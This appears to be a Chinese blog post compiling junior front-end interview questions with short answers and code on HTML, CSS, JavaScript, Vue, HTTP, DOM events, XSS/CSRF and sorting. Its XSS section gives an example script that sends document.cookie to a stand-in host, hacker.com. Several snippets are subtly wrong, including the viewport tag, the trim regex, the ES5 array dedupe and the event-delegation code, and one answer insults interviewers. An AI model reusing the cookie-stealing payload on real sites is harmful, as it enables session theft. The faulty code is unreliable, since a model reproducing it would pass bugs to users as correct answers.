工作生活

2019-07-03 初级前端面试题个人汇总

2019-07-09  本文已影响0人  陈光展_Gz

一、HTML


1.1 你是如何理解HTML语义化的?

1.2 meta viewport 是做什么用的,怎么写?

(换句话说,你如果手机页面不缩放,应该怎么写)

<meta name="viewport" content="width=device-width,user-scale=no,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0>

1.3 你用过哪些HTML5标签

<canvas id="canvas"></canvas>
var canvas = document.getElementById('canvas')//获取画布句柄
var ctx = canvas.getContext('2d');//需要指明2d上下文

ctx.fillStyle = 'green'
ctx.fillRect(10,10,100,100)//画一个矩形,参数依次为 x坐标,y坐标,宽度,高度

2D上下文:从坐标的左上角的,width 和 height 水平和垂直方向的可用像素

<video controls autoplay>
    <source src="myVideo.mp4" type="video/mp4">
    <source src="myVideo.webm" type="video/webm">
    <p>Your browser doesn't support HTML5 video. Here is
       a <a href="myVideo.mp4">link to the video</a> instead.</p>
</video>

在HTML中写入video标签,属性有controls,autoplay,标签里面写几个source标签,这是因为不同的浏览器支持的播放格式不一定一致,然后浏览器会使用它所支持的第一个源。

1.4 H5是什么?

1.5 canvas跟svg的区别

1.5 响应式布局

二、CSS


2.1 两种盒模型

IE盒模型

div{
  width:50%;
  border:10px solid black;
  box-sizing:border-box;/* 设置为IE盒模型标准 */
}

W3C模型

div{
   width:calc(50%-20px);
   border:10px solid black
}

css3的计算属性calc()兼容性一般

2.2 如何实行垂直居中

.father{
  position:relative
}
.child{
  positon:absolute;
  top:50%;
  transform:translateY(-50%)
}
.father{
  display:flex;
  align-items:center;
}

2.2 如何实行水平居中

水平居中较为简单, 共提供了8种方法, 一般情况下 text-align:center,marin:0 auto; 足矣
① text-align:center;
② margin:0 auto;
③ width:fit-content;
④ flex
⑤ 盒模型
⑥ transform
⑦ ⑧ 两种不同的绝对定位方法

垂直居中, 共提供了8种方法.
① 单行文本, line-height
② 单行或多行文字, 使用 display: inline-block, vertical-align: middle; 加上伪元素辅助实现
③ 在最外層寫一個偽table,也就是display:table,然後在要垂直置中的區塊,加上display:table-cell以及vertical-align: middle
④ flex
⑤ 盒模型
⑥ transform
⑦ ⑧ 两种不同的绝对定位方法

设置父元素相对定位(position:relative), 子元素如下css样式:

.son{
    position:absolute;
    top:50%;
    height:固定;
    margin-top:-0.5高度;
}
.son{
    position:absolute;
    height:固定;
    top:0;
    bottom:0;
    margin:auto 0;
}

2.3 flex怎么用,常用的属性有哪些

flex-direction属性决定主轴的方向
flex-wrap属性决定当子元素的总和大于父元素时候是否换行
flex-flow属性是flex-direction和flex-wrap的组合,它是将这两个属性写到一起,先写flex-direction,后写flex-wrap,默认值为row nowrap
justify-content属性定义子元素在主轴上的对齐方式
align-items属性定义子元素在侧轴上的对齐方式
align-content属性定义子元素多根轴线在侧轴上的对齐方式,只在多行显示下有效。

flex-grow 属性表示当父元素空间有剩余时,将剩余空间分配给各子元素的比例
flex-shrink属性与flex-grow属性的作用相反,表示当子元素宽度总和大于父元素宽度,且未换行显示时,各子元素压缩大小,默认为1,表示各子元素等比压缩
flex-basis属性可以用来设置子元素的空间,默认值为auto,表示为原本大小
flex属性是flex-grow、flex-shrink和flex-basis的合集,默认值为0 1 auto,后两个属性可不写
order属性定义子元素在排列顺序,默认值为0,值越小越靠前
align-self属性允许子元素单独设置对齐方式,优先级比父元素的align-items高。默认值为auto,表示继承父元素的align-items

Flex布局

2.4 BFC是什么?

2.5 CSS选择器的优先级

.xxx
:not(.xxx):first-child{}

2.5 清除浮动

.clearfix{
    content:'';
    display:block;
    clear:both;
}

.clearfix 加到容器元素上,里面的子元素的浮动就被清除了

2.6 rem

2.7 行内元素,块状元素,行内块元素

2.7.1 行内元素

2.7.2 块状元素

2.7.3 行内块元素

2.7.4 行内块元素在同一行显示时有默认空隙,如何解决

.space {
    font-size: 0;
}
.space a {
    font-size: 12px;
}

三、原生JS

3.1 ES6语法知道哪些,分别怎么用?

3.1.1 let const

const定义的变量,不能修改栈内对应的值或者地址。

const有let的所有特性;
然后const不一定是常量
const obj = {a:1}
obj.a=2
obj.b=2
是可行的,
const obj = {a:1}
obj = {a:2}
不可行,

3.1.2 箭头函数

  1. 没有 this
  2. 没有 arguments
  3. 不能通过 new 关键字调用
  4. 没有原型
var Foo = () => {};
var foo = new Foo(); // TypeError: Foo is not a constructor

3.1.3 函数默认参数值

function multiply(a, b = 1) {
  return a * b;
}

3.1.4 展开运算符

3.1.5 模板字符串

let bianliang = 1111;
console.log(`输出的会是 ${bianliang}`);

3.1.5 解构赋值

var a, b;

[a=5, b=7] = [1];
console.log(a); // 1
console.log(b); // 7

3.1.6 Promise

3.2 手写函数防抖,函数节流

3.2.1 函数防抖

function fn(){}
var timerId = null
button.onclick = function(){
  if(timerId){
    window.clearTimeout(timerId)
  }
  timerId = setTimeout(()=>{
    fn()
    timerId = null
  },5000)
}

3.2.2 函数节流

function fn(){}
let cd = false
button.onclick = funciton(){
  if(cd){
    
  }else{
    fn()
    cd = true
    let timerId = setTimeout(()=>{
      cd = false
    },5000)
  }
}

3.4 手写AJAX

let request = new XMLHttpRequest()
request.open('GET','/xxx')
request.onreadystatechange = function(){
    if(request.readyState === 4){
        console.log('请求完成')
        if(request.response.status >= 200 && request.response.status < 300){
            console.log('请求成功')
        }else{

        }
    }
    
}
request.send()

3.5 this (如何正确判断 this?箭头函数的 this 是什么?)

1. fn()
this => window
2. obj.fn()
this => obj
3. fn.call(xxx)
this => xxx
4. fn.bind(xxx)
this => xxx
5. fn.apply(xxx)
this => xxx
6. new Fn()
this => 新的对象
7. fn=()=>{}
this => 外面的this

3.6 闭包及其立即执行函数

3.6.1 闭包

3.6.2 立即执行函数

3.7 什么是JSONP,什么是CORS,什么是跨域?

3.7.1 JSONP

概念:JSONP是一种非正式传输协议,用来跨域请求的
原理:允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。

<script src="http://api.jirengu.com/weather.php?callback=showData"></script>

1. 知道 jsonp 么?
答:知道,可以实现跨域请求;

2. 为什么 ajax 不可以,但是 jsonp 可以实现跨域请求呢?
答:因为 jsonp 是通过插入一个 script 标签,利用 script 可以跨域请求来实现的。
答:面试官傻逼,ajax 现在也可以使用 cors 来做跨域请求;

2.5 jsonp 实现原理?
答:通过创建一个 script 标签,将 src 设置为目标请求,插入到 dom 中,服务器接受该请求并返回数据,数据通常被包裹在回调钩子中;

3.  可以用 jsonp 发送 post 请求么?
答:显然不行,因为JSONP是通过动态创建<srcipt>标签来发送请求,<srcipt>只支持发送GET请求

4. 参考 jsonp,还有那些发送跨域请求的途径?
答:img link iframe 等元素都可以发送跨域请求呀!

5. img link iframe script 来发送跨域请求有什么优缺点?

3.7.2 CROS

概念:跨域资源共享,是AJAX跨域请求资源的方式

Access-Control-Allow-Origin的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。

// 限制当前请求http://a.code.com:8080可以获取数据
header("Access-Control-Allow-Origin", "http://a.code.com:8080"); 
// 接受任何请求
// header("Access-Control-Allow-Origin", "*");

CORS和JSONP的应用场景区别?

CORS要求浏览器(>IE10)和服务器的同时支持,是跨域的根本解决方法,由浏览器自动完成。优点在于功能更加强大支持各种HTTP Method,缺点是兼容性不如JSONP。

3.7.3 跨域

3.8 async/await 怎么用,如何捕获异常?

async/await是generator的语法糖,让异步代码写成同步的样式

async function test(){
  try{
    let n = await Promise.all([fn1,fn2])
  }catch(err){
    console.log('失败的结果')
  }
}

3.9 JS如何实现对象深拷贝

function deepClone(source){
  const targetObj = source.constructor === Array ? [] : {}; // 判断复制的目标是数组还是对象
  for(let keys in source){ // 遍历目标
    if(source.hasOwnProperty(keys)){ // 意思就是__proto__上面的属性,我不拷贝
      if(source[keys] && typeof source[keys] === 'object'){ // 如果值是对象,就递归一下
        targetObj[keys] = source[keys].constructor === Array ? [] : {};
        targetObj[keys] = deepClone(source[keys]);
      }else{ // 如果不是,就直接赋值
        targetObj[keys] = source[keys];
      }
    } 
  }
  return targetObj;
}

var targetObj = JSON.parse(JSON.stringify(copyObj))

如果你的对象里有函数,函数无法被拷贝下来
无法拷贝copyObj对象原型链上的属性和方法

3.10 如何用正则实现trim

function trim(string){
  return string.replace(/^\s + |\s + $/g,'')
}

3.11 不用class实现继续

原型,继承

3.11.1 原型模式

3.11.2 原型链

在 javaScript 中,每个对象都有一个指向它的原型(prototype)对象的内部链接。这个原型对象又有自己的原型,直到某个对象的原型为 null 为止(也就是不再有原型指向),组成这条链的最后一环。这种一级一级的链结构就称为原型链

function Animal(color){
    this.color = color
}
Animal.prototype.move = function(){}

function Dog(color,name){
    Animal.call(this,color) //得分点
    this.name = name
}

function temp(){}
temp.prototype = Animal.prototype
Dog.prototype = new temp()

Dog.prototype.constructor = Dog
Dog.prototype.say = ()=>{console.log('汪汪')}

var dog = new Dog('黄色','阿黄')
class Animal{
    constructor(color){
        this.color = color
    }
    move(){
        console.log(this)
    }
}

class Dog extends Animal{
    constructor(color,name){
        super(color)
        this.name = name
    }
    say(){
        console.log('汪汪')
    }
}

let dog = new Dog('颜色','姓名')

3.12 实现数组去重

  1. hash
  2. [...new Set(array)]
  3. WeakMap (支持所有类型的去重 )
ES5 
function unique(array){
    let hash = {}
    let number = []
    for(let i = 1;i<array.length;i++){
        if(hash[array[i]] === undefined){
            number.push(array[i])
            hash[array[i]] = 1
        }
    }
    return number
}
ES 6
function unique(array){
    return Array.from(new Set(array))
}

3.13 手写Promise

function Promise(executor) {
    let self = this;
    self.status = 'pending'; //等待态
    self.value = undefined;  //成功的返回值
    self.reason = undefined; //失败的原因

    function resolve(value) {
        if (self.status === 'pending') {
            self.status = 'resolved';
            self.value = value;
        }
    }
    function reject(reason) {
        if (self.status === 'pending') {
            self.status = 'rejected';
            self.reason = reason;
        }
    }
    try {
        executor(resolve, reject);
    } catch (e) {
        reject(e);// 捕获时发生异常,就直接失败
    }
}
//onFufiled 成功的回调
//onRejected 失败的回调
Promise.prototype.then = function (onFufiled, onRejected) {
    let self = this;
    if (self.status === 'resolved') {
        onFufiled(self.value);
    }
    if (self.status === 'rejected') {
        onRejected(self.reason);
    }
}
module.exports = Promise;

测试

let Promise = require('./Promise');

let promise = new Promise(function (resolve, reject) {
    resolve(100);
})

promise.then(function (data) { 
    console.log('data:', data);
},function (err) {
    console.log('err:', err);
})

3.14 如何判断变量的类型

3.14.1 typeof vs instanceof

涉及面试题:typeof 是否能正确判断类型?instanceof 能正确判断对象的原理是什么?

typeof [] // 'object'
typeof {} // 'object'
typeof console.log // 'function'

3.15 在JavaScript中,有三种常用的绑定事件的方法

  1. 在DOM元素中直接绑定;
<input onclick="alert('谢谢支持')" type="button" value="点击我,弹出警告框" />
  1. 在JavaScript代码中绑定;
例如,为 id="demo" 的按钮绑定一个事件,显示它的 type 属性:
<input id="demo" type="button" value="点击我,显示 type 属性" />
<script type="text/javascript">
    document.getElementById("demo").οnclick=function(){
        alert(this.getAttribute("type")); 
    }
</script>
  1. 绑定事件监听函数
button.addEventListener("click", function (evt) { ... }, true); // IE9, IE9+, Chrome, Safari, Opera
button.attatchEvent("onclick", function () { ... }); // IE9-

3.16 数组里面有哪些遍历方法

3.16.1 for循环

var a = [1, 2, 3, 4, 5];
for (var i = 0; i < a.length; i++) {
  console.log(a[i]);
}

3.16.2 forEach,some和every

var a = [1, 2, 3, 4, 5];
a.forEach(function (i) {
  console.log(i);//1 2 3 4 5
  // return true ,return false 或者不写返回值,结果都一样
})
var a = [1, 2, 3, 4, 5];
a.some(function (i) {
  if (i === 3) {
    return true;
  }
  console.log(i); //1 2
  return false;//回调函数默认返回false,这里不写也可以
});
var a = [1, 2, 3, 4, 5];
a.every(function (i) {
  if (i === 3) {
    return false;
  }
  console.log(i);//1 2
  return true;//回调函数默认返回false,这里return true必须要写,否则在遍历第一个属性值之后就会终止循环
})

3.16.3 for..in和for..of

var a = [1,2,3];
a.ex = "ex";
//注意这里遍历的只是属性
for(var i in a){
  console.log(i); // 0 1 2 ex
}

3.16.4 map() ,filter(),reduce()

3.16.5 while

3.17 JS的执行机制

3.18.1 浏览器中的 Event Loop

macro-task(宏任务): setTimeout, setInterval, setImmediate(ie浏览器特有),MessageChannel
micro-task(微任务): Promise.then,Object.observe(已废弃), MutationObserver

3.18.2 Node 中的 Event Loop

macro-task(宏任务): setTimeout, setInterval, setImmediate, I/O
micro-task(微任务): process.nextTick,Promise.then,Object.observe(已废弃), MutationObserver(vue中使用但由于不兼容放弃)

3.19 call()、apply()、bind()

3.19.1 手写bind

Function.prototype.myBind = function (context) {
  if (typeof this !== 'function') {
    throw new TypeError('Error')
  }
const _this = this
const args = [...arguments].slice(1)
// 返回一个函数
  return function F() {
// 因为返回了一个函数,我们可以 new F(),所以需要判断
    if (this instanceof F) {
     return new _this(...args, ...arguments)
    }
    return _this.apply(context, args.concat(...arguments))
   }
}

四、Vue.js

4.1 watch 和 computed 区别是什么?

4.2 Vue有哪些生命周期钩子函数?分别有什么用?

4.3 Vue如何实现组件间的通信

Vuex是专门为Vue.js开发的全局状态管理工具

4.4 Vue数据响应式怎么做到的?

vue面试题

4.5 Vue.set是做什么用的?

mounted () {
    this.$set(this.student,"age", 24)
}

4.6 Vuex你是这么用的?

4.7 Vue-Router你怎么用的?

全局导航钩子

组件內钩子

单独路由独享组件

4.7.1 active-class 是哪个组件的属性?嵌套路由怎么定义

4.7.2 怎么定义 vue-router 的动态路由? 怎么获取传过来的值

4.7.3 $route和$router的区别

4.7.4 指令keep-alive

<keep-alive></keep-alive> 包裹动态组件时,会缓存不活动的组件实例,主要用于保留组件状态或避免重新渲染。
大白话: 比如有一个列表和一个详情,那么用户就会经常执行打开详情=>返回列表=>打开详情…这样的话列表和详情都是一个频率很高的页面,那么就可以对列表组件使用<keep-alive></keep-alive>进行缓存,这样用户每次返回列表的时候,都能从缓存中快速渲染,而不是重新渲染

<component :is='curremtView' keep-alive></component>

4.7.5 路由守卫

4.7.6 hash和history的区别

4.8 vue 的双向绑定的原理是什么

vue.js 是采用数据劫持结合发布者-订阅者模式的方式,通过 Object.defineProperty()来 劫持各个属性的 setter,getter,在数据变动时发布消息给订阅者,触发相应的监听回调。

4.9 对MVVM框架的理解,它和其它框架(jquery)的区别是什么?哪些场景适合?

4.10 v-slot

4.11 v-for中的key值

4.12 v-if 和 v-show

五、 HTTP

5.1 HTTP状态码

5.2 HTTP缓存有几种

强制缓存和协商缓存

5.3 GET和POST请求的区别

5.4 Cookie LocalStorage SessionStorage Seccion

5.4.1 Cookie 和 Session的区别

5.4.2 Cookie 和 LocalStorage

5.4.2 SessionStorage和 LocalStorage

5.4.3 如果浏览器禁用cookie,怎么办?

http://www.test.com/test;jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764
<form name=”"testform”" action=”"/xxx”"> <input type=”"hidden”" name=”"jsessionid”" value=”"ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764″”> <input type=”"text”"> </form>

5.5 HTTP和HTTPS的区别

5.6 HTTP 1.1 和 HTTP 2.0 的区别

5.7 从输入URL到页面展现中间发生了什么?

1、浏览器的地址栏输入URL并按下回车。
2、浏览器查找当前URL是否存在缓存,并比较缓存是否过期。
3、DNS解析URL对应的IP。
4、根据IP建立TCP连接(三次握手)。
5、HTTP发起请求。
6、服务器处理请求,浏览器接收HTTP响应。
7、渲染页面,构建DOM树。
8、关闭TCP连接(四次挥手)

5.7.1 三次握手

5.7.2 四次挥手

5.7.3 为什么建立连接协议是三次握手,而关闭连接却是四次握手呢?

这是因为服务端的LISTEN状态下的SOCKET当收到SYN报文的连接请求后,它可以把ACK和SYN(ACK起应答作用,而SYN起同步作用)放在一个报文里来发送。但关闭连接时,当收到对方的FIN报文通知时,它仅仅表示对方没有数据发送给你了;但未必你所有的数据都全部发送给对方了,所以你可能未必会马上会关闭SOCKET,也即你可能还需要发送一些数据给对方之后,再发送FIN报文给对方来表示你同意现在可以关闭连接了,所以它这里的ACK报文和FIN报文多数情况下都是分开发送的。

六、Web性能优化

6.1 DNS查询

6.2 链接TCP协议

6.3 发送HTTP请求

6.4 接受响应

6.5 DOCTYPE

6.5 CSS

七、 超纲题

7.1 JS垃圾回收

7.1.1 什么是垃圾

7.1.2 浏览器是如何找到垃圾,并回收

从全局作用域开始,把所有遇到的变量都标记上, 然后被标记的变量引用了其他东西就再标记,一直标记到找不到新的东西,标记过程就结束了,最后把没标记的删除。

八、DOM

8.1 事件委托

8K版本

ul.addEventListener('click',(e)={
  if(e.targer.nodeName.toLowerCase === 'li'){
    console.log('点击')
  }
})

12K+版本

ul.addEventListener('click', function(e) {
  var el= e.target;
  while (target !== ul) {
    if (target.tagName.toLowerCase() == 'li') {
      console.log('li被点击了');
      break;
    }
    el= el.parentNode;
  }
})

8.2 用mouse事件实现一个可拖曳的div

xxx.style.left 1. 一开始是空 2. 自带px,需要parseInt

var dragging = false
var position = null

xxx.addEventListener('mousedown',(e)=>{
  dragging = true
  position = [e.clientX,e.clientY]
})

document.addEventListener('mousemove',(e)=>{
  if(dragging === false){return}
  let x = e.clientX
  let y = e.clientY
  const deltaX = x - position[0]
  const deltaY = y - position[1]
  const left = parseInt(xxx.style.left || 0)
  const top = parseInt(xxx.style.top || 0)
  xxx.style.left = left + deltaX + 'px'
  xxx.style.top = top + deltaY + 'px'
  position = [x,y]
})

document.addEventListener('mouseup',()=>{
  dragging = false
})

九、安全押题

9.1 什么是XSS攻击,如何预防?

div.innerHTML = userComment  
//userComment 内容是<script>$.get('http://hacker.com?cookie='+document.cookie')</script>

9.2 CSRF攻击?如何预防?

十、算法

10.1 冒泡排序

function bubbleSort(arr) {
    var len = arr.length;
    for (var i = 0; i < len - 1; i++) {
        for (var j = 0; j < len - 1 - i; j++) {
            if (arr[j] > arr[j+1]) {        // 相邻元素两两对比
                var temp = arr[j+1];        // 元素交换
                arr[j+1] = arr[j];
                arr[j] = temp;
            }
        }
    }
    return arr;
}

10. 2 快速排序

function quickSort(arr) {
    if(arr.length <=1){
        return arr
    }
    let left = []
    let right = []
    let current = arr.splice(0,1)
    for(let i = 0;i<arr.length;i++){
        if(arr[i]<current){
            left.push(arr[i])
        }else{
            right.push(arr[i])
        }
    }
    return quickSort(left).concat(current,quickSort(right))
}
上一篇下一篇

猜你喜欢

热点阅读